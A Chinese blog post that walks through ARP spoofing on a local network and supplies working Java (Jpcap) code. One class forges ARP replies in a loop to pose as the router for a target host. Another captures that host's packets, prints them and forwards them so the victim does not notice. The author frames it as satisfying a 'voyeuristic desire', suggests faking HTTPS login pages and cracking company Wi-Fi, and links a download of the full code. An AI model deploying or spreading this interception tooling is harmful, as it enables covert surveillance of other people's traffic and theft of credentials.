用Java代码实现拦截区域网数据包
起因:
吃饭的时间在想如果区域网内都是通过路由器上网,那如何实现拦截整个区域网的数据包,从而实现某种窥探欲。
思路:
正常是通过电脑网卡预先设置或分配的IP+网关对路由器进行通讯,比如访问百度:
A主机(指定网关) >> 路由器 >> DNS(域名转IP) >> 服务端(百度)
而我需要达到的目的是在, "A主机” 请求"路由器"的时间进行数据包的拦截,并转发至真正的路由器(转发目的是为了不断网,不被直接发现) ,这个时间A主机的请求数据就被我记录下来了。
疑问:
要达到上文所诉目的,需要解决以下三个疑问
1) A主机是如何跟路由器进行通讯(原理)
2) 我该如何拦截
3) 如何利用代码或工具实现拦截
问题1:
解析:A主机发送数据包肯定需要跟路由器进行交互,那么路由器的地址就一定存储在A主机的某处地方。这就需要利用到网络协议的ARP(<这是地址)协议(详情请打开查看ARP原理)。
打开命令行窗口,输入arp -a 查看缓存地址列表,可以看到的是路由器的IP地址跟MAC地址
答案:A主机发送数据包>>寻找路由器地址>>封装数据包>>路由器
问题2:
解析:通过问题1我们已经得知A主机是如何跟路由器进行数据包的通信的了。(广播式获取路由器IP地址及MAC,然后存储在ARP缓存列表。广播式就是整个频段下都可以看到,例如192.168.1.*),那我们需要做的就是主动发送一个广播给A主机,告诉它我们才是路由器。你需要发送数据包到我这里。看下图(20:f4:1b:70:8:2e 这个是我伪装的MAC地址),这样A主机发送的数据包就到我们的机器里了。同时我们还需网络转发(原理自行百度),为什么呢,因为我们需要A主机正常上网。
答案:A主机发送数据包>>伪装路由器主机>>寻找路由器地址>>封装数据包>>路由器
问题3:
解析:想一想用Java写会顺手一些,并且Java有对ARP协议支持的JAR包Jpcap。
答案:Java利用Jpcap编写arp拦截。
通过三个问题我们收获了ARP原理,及Java如何实现数据包拦截(Jpcap.jar+Jpcap.dll)
以上为整体思路,下面就是具体代码实现了。(客官看懂了吗?
开发环境:
编辑器:intellij idea 15
JDK:1.7
jar:Jpcap.jar
其它:jdk源目录下放置Jpcap.dll
公共参数类
/**
* Created by duke on 2016/11/16.
* arp-client
*/
public class Constants
{
public static final String version = "0.1";
public static final String author = "Duke 西瓜大人"; /*************************************************************************************
* 参数配置 *
* ***********************************************************************************
*/
public static String DE_IP = "192.168.1.159";
public static String DE_MAC = "ac-bc-32-93-97-6d";
public static String SRC_IP = "192.168.1.1";//
public static String SRC_MAC = "20-F4-1B-80-08-2E";
public static int NET_WORK = 0;
public static int TIME = 2;
}
公共参数类View
网卡工具类
package util; import jpcap.JpcapCaptor;
import jpcap.NetworkInterface;
import jpcap.NetworkInterfaceAddress; /**
* Created by duke on 2016/11/16.
* arp-client
*/
public class NetWorkUtil
{
public static void main(String[] args) {
getDevice(0);
System.out.println(">>>>>>>>>>>>>>>>>>>");
getDevice(1);
} /**
* 使用String的startsWith函数判断IP相同的开始部分相同即可
* @param segment 例如:192.168.1
* @return
*/
public static NetworkInterface getDevice(String segment)
{
NetworkInterface[] devices = JpcapCaptor.getDeviceList();
for (int i =0;i<devices.length;i++)
{
NetworkInterfaceAddress[] addresses = devices[i].addresses;
if(addresses[1].address.toString().startsWith(segment)){
return devices[i];
}
}
return devices[0];
}
public static NetworkInterface getDevice(int network)
{
NetworkInterface[] devices = JpcapCaptor.getDeviceList();
NetworkInterfaceAddress[] addresses = devices[network].addresses;
NetworkInterface device = devices[network];
return device;
}
}
网卡工具类View
ARP测试类
import jpcap.JpcapCaptor;
import jpcap.JpcapSender;
import jpcap.NetworkInterface;
import jpcap.packet.ARPPacket;
import jpcap.packet.EthernetPacket; import java.net.InetAddress;
import java.net.UnknownHostException; /**
* Created by duke on 2016/11/15.
* arp-client
* 对指定主机的拦截
*/
public class ArpTest
{ public static void main(String[] args) throws Exception {
sendArp(Constants.DE_IP,Constants.DE_MAC,Constants.SRC_IP,Constants.SRC_MAC,Constants.NET_WORK,Constants.TIME);
}
/**
* 为什么需要IP地址跟MAC地址呢?因为我们需要去对他进行ARP协议的欺骗。
* @param deip A主机地址(被欺骗的目标IP地址
* @param deMac A主机MAC地址(被欺骗的目标目标MAC数组
* @param srcIp 被替换Mac地址的IP地址
* @param srcMac 假的MAC数组,也就是我们用来捕捉数据包的主机MAC地址。
* @param network 发送arp的网卡,与被欺骗目标地址需要在同一网段
* @param time ARP重发间隔时间,不断发送防止被路由器地址替换
* @throws Exception
*/
static void sendArp(String deip,String deMac,String srcIp,String srcMac,int network,int time) throws Exception {
InetAddress desip = InetAddress.getByName(deip);
byte[] desmac = stomac(deMac);
InetAddress srcip = InetAddress.getByName(srcIp);
byte[] srcmac = stomac(srcMac);
// 枚举网卡并打开设备
NetworkInterface[] devices = JpcapCaptor.getDeviceList();
NetworkInterface device = devices[network];
JpcapSender sender = JpcapSender.openDevice(device);
// 设置ARP包
ARPPacket arp = new ARPPacket();
arp.hardtype = ARPPacket.HARDTYPE_ETHER;
arp.prototype = ARPPacket.PROTOTYPE_IP;
arp.operation = ARPPacket.ARP_REPLY;
arp.hlen = 6;
arp.plen = 4;
arp.sender_hardaddr = srcmac;
arp.sender_protoaddr = srcip.getAddress();
arp.target_hardaddr = desmac;
arp.target_protoaddr = desip.getAddress();
// 设置DLC帧
EthernetPacket ether = new EthernetPacket();
ether.frametype = EthernetPacket.ETHERTYPE_ARP;
ether.src_mac = srcmac;
ether.dst_mac = desmac;
arp.datalink = ether;
// 发送ARP应答包
while (true) {
System.out.println("send arp > "+deip);
sender.sendPacket(arp);
Thread.sleep(time * 1000);
}
}
static byte[] stomac(String s)
{
byte[] mac = new byte[] { (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00 };
String[] s1 = s.split("-");
for (int x = 0; x < s1.length; x++)
{
mac[x] = (byte) ((Integer.parseInt(s1[x], 16)) & 0xff);
}
return mac;
}
}
Arp测试类View
数据包拦截类
import jpcap.*;
import jpcap.packet.Packet;
import util.NetWorkUtil; import java.io.IOException;
import java.io.UnsupportedEncodingException; /**
* Created by duke on 2016/11/15.
* arp-client
*/
public class NetWorkIntercept
{
/*
拦截网卡数据包
*/
public static void main(String[] args) throws Exception {
//请先移步ArpTest运行Main函数进行ARP欺骗(记得修改参数值为你自己测试环境 //获取同网段网卡
NetworkInterface device = NetWorkUtil.getDevice(Constants.NET_WORK);
//打开网卡
JpcapCaptor captor = JpcapCaptor.openDevice(device,65535,false,20); while (true)
{
//获取流量包,这个时间arp欺诈成功后,该主机的流量包就会通过你的主机网卡发送。
Packet p = captor.getPacket();
if(p!=null)
{
byte header_byte[] = p.data;
String header = new String(header_byte,"ISO-8859-1");
//captor.setFilter("",true); 筛选函数还在研究怎么用舒服 这里约定协议会好用一点
if(header.contains("qichacha")) //我觉得这种更爽 哈哈哈
{
System.out.println(header);//获取数据包干一些你该干的事情
JpcapSender sender = captor.getJpcapSenderInstance();//获取
sender.sendPacket(p);//数据包发送(
}
} } }
}
数据包拦截类View
在完成以上代码后,我又碰到俩个问题,我的初衷是:“拦截整个区域网的数据包,从而实现某种窥探欲。”
可是目前关键问题是HTTP协议数据包能正常拦截,但是HTTPS是加密的阿! 而现在主流网站都是使用HTTPS加密的,过分(不过可以利用劫持来解决,比如你想登录企业qq邮箱,拦截到数据包后返回一个假的给你,这种就针对性比较强了)!!!!
另外一个问题就是我想继续修改传入传出的数据包。(留到下一步解决把,毕竟工作也挺多事情的 哈哈哈~
这个问题也暴漏了公司内部安全漏洞,试想一下,我蹲在你家公司门口,扫你家公司WIFI,一直扫到密码进去 如果没有反ARP措施,那不是随随便便的就能拿到相当多的数据了。
代码下载:https://pan.baidu.com/s/1bpECV4V (包括引用的jar包跟dll
查阅的相关文档:
http://baike.baidu.com/link?url=cUC4NJGprFT40oQ01TsEHr1XnyChb1-AoQx_gXn7s6dnxszgmJUJ6ZfQtKXLkHeWs8cRJHETFezgaVvWQ24Qo_
http://blog.csdn.net/jiasike/article/details/51026905
http://3y.uu456.com/bp_83y3a1vqlk01k8300stp_1.html
用Java代码实现拦截区域网数据包的更多相关文章
- [改善Java代码]使用package-info类为包服务
建议50: 使用package-info类为包服务 Java中有一个特殊的类:package-info类,它是专门为本包服务的,为什么说它特殊呢?主要体现在3个方面: (1)它不能随便被创建 在一般的 ...
- Java代码里利用Fiddler抓包调试设置
Fiddler启动时已经将自己注册为系统的默认代理服务器,应用程序在访问网络时会去获取系统的默认代理,如果需要捕获java访问网络时的数据,只需要在启动java程序时设置代理服务器为Fiddler即可 ...
- Java代码登录拦截器例子
通常我们在点击某个按钮的时候,对某个对象进行操作,是需要登陆才能做的,这时候就需要一个拦截器对某个方法进行拦截, 比如你在一个图书管理中心中你要借书,这时候你就会被要求出示借书证,管理员才能借书给你. ...
- burpsuite拦截https数据包(Firefox)
1.配置浏览器对http/https都使用burpsuite代理 http和https是分开的,对http使用了代理并不代表对https也使用了代理,要配置浏览器让其对https也使用同样的代理. 当 ...
- WEB应用中普通java代码如何读取资源文件
首先: 资源文件分两种:后缀.xml文件和.properties文件 .xml文件:当数据之间有联系时用.xml .properties文件:当数据之间没有联系时用.properties 正题: ...
- 在Python程序中调用Java代码的实现
<原创不易,转载请标明出处:https://www.cnblogs.com/bandaobudaoweng/p/10785766.html> 前言 开发Python程序,需求中需要用到Ja ...
- JAVA 读取xml格式的数据
<?xml version="1.0" encoding="UTF-8"?> <column-enums> <type name= ...
- Java代码实现excel数据导入到Oracle
1.首先需要两个jar包jxl.jar,ojdbc.jar(注意版本,版本不合适会报版本错误)2.代码: Java代码 import java.io.File; import java.io.Fi ...
- Jenkins日常运维笔记-重启数据覆盖问题、迁移、基于java代码发版(maven构建)
之前在公司机房部署了一套jenkins环境,现需要迁移至IDC机房服务器上,迁移过程中记录了一些细节:1)jenkins默认的主目录放在当前用户家目录路径下的.jenkins目录中.如jenkins使 ...
随机推荐
- JavaWeb——Filter
一.基本概念 之前我们用一篇博文介绍了Servlet相关的知识,有了那篇博文的知识积淀,今天我们学习Filter将会非常轻松,因为Filter有很多地方和Servlet类似,下面在讲Filter的时候 ...
- Android总结之链式调用(方法链)
前言: 最近在学习总结Android属性动画的时候,发现Android的属性动画设计采用了链式调用的方式,然后又回顾了一下了以前接触的开源框架Glide也是采用链式调用的方式,还有最近火的一塌糊涂的R ...
- 从零开始编写自己的C#框架(28)——建模、架构与框架
文章写到这里,我一直在犹豫是继续写针对中小型框架的设计还是写些框架设计上的进阶方面的内容?对于中小型系统来说,只要将前面的内容进行一下细化,写上二三十章具体开发上的细节,来说明这个通用框架怎么开发的就 ...
- WebApi接口 - 响应输出xml和json
格式化数据这东西,主要看需要的运用场景,今天和大家分享的是webapi格式化数据,这里面的例子主要是输出json和xml的格式数据,测试用例很接近实际常用情况:希望大家喜欢,也希望各位多多扫码支持和点 ...
- 如何安全的将VMware vCenter Server使用的SQL Server Express数据库平滑升级到完整版
背景: 由于建设初期使用的vSphere vCenter for Windows版,其中安装自动化过程中会使用SQL Server Express的免费版数据库进行基础环境构建.而此时随着业务量的增加 ...
- bzoj1723--前缀和(水题)
题目大意: 你难以想象贝茜看到一只妖精在牧场出现时是多么的惊讶.她不是傻瓜,立即猛扑过去,用她那灵活的牛蹄抓住了那只妖精. "你可以许一个愿望,傻大个儿!"妖精说. ...
- SharePoint 2016 必备组件离线安装介绍
前言 SharePoint 必备组件安装,一直以来都是SharePoint安装过程中的最大的坑,尤其是不能联网的服务器.博主在这里简单介绍一下离线安装过程,并附组件包下载以及安装命令,并且在windo ...
- spring mvc 数据校验
1.需要导入的jar包: slf4j-api-1.7.21.jar validation-api-1.0.0.GA.jar hibernate-validator-4.0.1.GA.jar 2.访问页 ...
- 微信小程序之用户数据解密(七)
[未经作者本人同意,请勿以任何形式转载] 经常看到有点的小伙伴在群里问小程序用户数据解密流程,所以打算写一篇关于小程序用户敏感数据解密教程: 加密过程微信服务器完成,解密过程在小程序和自身服务器完成, ...
- 如何使用RobotFramework编写好的测试用例
如何使用Robot Framework编写优秀的测试用例 概述 命名 测试套件命名 测试用例命名 关键字命名 setup和teardown的命名 文档 测试套件文档 测试用例文档 用户关键字文档 测试 ...